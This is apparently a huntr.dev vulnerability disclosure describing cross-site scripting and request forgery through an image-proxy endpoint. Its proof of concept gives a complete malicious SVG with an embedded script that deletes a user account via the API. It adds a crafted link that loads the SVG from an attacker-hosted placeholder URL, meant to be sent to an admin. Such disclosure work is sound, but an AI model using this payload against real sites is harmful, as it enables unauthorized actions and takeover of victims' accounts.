Lucene search

K
huntrVictorsch46881DF7-EB41-4CE2-A78F-82DE9BC4FC2D
HistorySep 15, 2023 - 6:46 a.m.

XSS/CSRF in GetImage Endpoint

2023-09-1506:46:41
victorsch
www.huntr.dev
7
cross-site scripting
cross-site request forgery
image endpoint

0.001 Low

EPSS

Percentile

24.3%

Description

The endpoint at /o/get/image?url= does not have sufficient protections to protect users from CSRF and XSS. An attacker can craft a malicious svg image that will allow them to perform any action of the victim. In the case where the victim is the admin this can lead to a site takover.

Proof of Concept

  • Create an SVG with the following content:
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">

<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
  <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
  <script type="text/javascript">
    fetch("http://localhost:5230/api/v1/user/2", { method: "DELETE", headers: { "Origin": "localhost:5230" } })
  </script>
</svg>
  • Host the image on your remote server
  • Send the following link to the admin (or any user on the site you wish to take action as)
http://localhost:5230/o/get/image?url=http://<your-url>/malicious.svg
  • When another user opens that link, it will execute our malicious javascript.

https://drive.google.com/file/d/13cXVTdkaX2taeFty9YrrN4wwLQqJWzPf/view?usp=sharing

0.001 Low

EPSS

Percentile

24.3%

Related for 46881DF7-EB41-4CE2-A78F-82DE9BC4FC2D